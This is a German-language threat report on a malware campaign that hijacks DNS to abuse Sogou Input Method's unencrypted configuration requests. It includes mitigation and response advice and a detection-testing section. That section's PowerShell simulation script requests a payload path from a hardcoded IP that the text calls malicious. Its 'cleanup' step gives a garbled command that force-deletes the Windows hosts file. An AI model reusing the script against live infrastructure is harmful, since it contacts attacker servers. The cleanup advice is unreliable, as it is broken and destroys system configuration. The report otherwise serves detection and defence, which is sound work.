SlippyNunchucks-Malware-Kampagne nutzt Sogou-Markenpromotion aus

Zusammenfassung

Der Bedrohungsakteur SlippyNunchucks nutzt DNS-Hijacking, um unsicheren HTTP-Verkehr abzufangen, der von der Sogou Input Method erzeugt wird. Dies ermöglicht es Angreifern, eine bösartige Konfiguration einzuschleusen, die den Download des DarkVigil-Malware-Implantats durch Side-Loading-Techniken initiiert. Die Kampagne zielt hauptsächlich auf chinesischsprachige Nutzer in Asien und Europa.

Untersuchung

ESET-Forscher entdeckten, dass die Gruppe den Markenförderungsmechanismus innerhalb der Sogou Input Method missbraucht, insbesondere die SGTool.exe-Komponente. Durch DNS-Manipulation werden Anfragen, die für legitime Konfigurations-Endpunkte bestimmt sind, auf von Angreifern kontrollierte Infrastrukturen umgeleitet. Die Untersuchung enthüllte auch eine mehrstufige Side-Loading-Kette, die ein legitimes Adobe-Executable verwendet, das umbenannt wurde, um seine Präsenz zu verbergen.

Minderung

Tencent hat das Problem in der Sogou Input Method Version 16.10 behoben, indem die betroffenen HTTP-Anfragen auf HTTPS migriert und die TLS-Zertifikatsvalidierung eingeführt wurde. Anwender sollten auf die neueste verfügbare Softwareversion aktualisieren, um DNS-Hijacking-Angriffe zu verhindern, die bösartige Konfigurationen einschleusen und ausliefern.

Antwort

Bei erkannter bösartiger Aktivität sollten Organisationen unautorisierte DNS-Änderungen untersuchen und den Netzwerkverkehr auf Verbindungen zu bekannten Staging-Domains wie sogou-cdn.comüberprüfen. Sicherheitsteams sollten auch verdächtige Kindprozesse überwachen, die von Sogou Input Method-Komponenten generiert werden, einschließlich unerwarteter Ausführungen umbenannter Adobe-Binaries oder unsignierter DLLs, die aus Komponentendateien geladen werden.

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Vorflug-Check muss bestanden worden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifer-Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslinie erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffsablauf & Befehle: Der Angreifer zielt darauf ab, ein DNS-Hijacking-Szenario zu simulieren, bei dem eine Anfrage an config.pinyin.sogou.com zu einer bösartigen IP umgeleitet wird. Um die spezifische bereitgestellte Erkennungsregel auszulösen, wird die Simulation den lokalen DNS umgehen und eine festkodierte IP-Adresse (47.239.250.102) verwenden, die den Kriterien der Regel entspricht. Dies ahmt den Moment nach, an dem die gehijackte DNS-Antwort die Sogou-Software zu einem von Angreifern kontrollierten Server leitet, um eine Nutzlast herunterzuladen.

• Regressionstestskript:

  # Simulation eines DNS-Hijackings über die direkte IP-Verbindung zur Auslösung der spezifischen Regel
  # Dies ahmt den Versuch der Sogou Input Method nach, ihren Konfigurationsserver zu erreichen,
  # wobei sie jedoch zu einer bösartigen IP umgeleitet wird.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Start der Simulation der DNS-Hijacking-Telemetrieerzeugung..."
  
  # Wir verwenden eine direkte IP-Verbindung, um die Wirkung einer gehijackten DNS-Auflösung nachzuahmen
  # Viele Proxy-Logs werden die angeforderte Domain im Host-Header registrieren, 
  # auch wenn die Verbindung über die IP hergestellt wird.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Versuch der Verbindung zu $TargetDomain über $MaliciousIP"
  
      # Verwenden von Invoke-WebRequest zur Simulation des Netzwerkverkehrs durch den Proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Verbindung fehlgeschlagen (erwartet, da die IP wahrscheinlich offline ist), aber Telemetrie sollte erzeugt worden sein."
  }
  
  Write-Host "[*] Simulation abgeschlossen."

• Bereinigungsbefehle:

  # Durch dieses Simulationsskript werden keine dauerhaften Änderungen vorgenommen.
  # Um netzwerkbezogene Artefakte zu bereinigen, falls welche hinzugefügt wurden (z.B. Hosts-Datei), verwenden Sie:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (erfordert Admin)
  Write-Host "[*] Bereinigung abgeschlossen. Keine dauerhaften Artefakte wurden erstellt."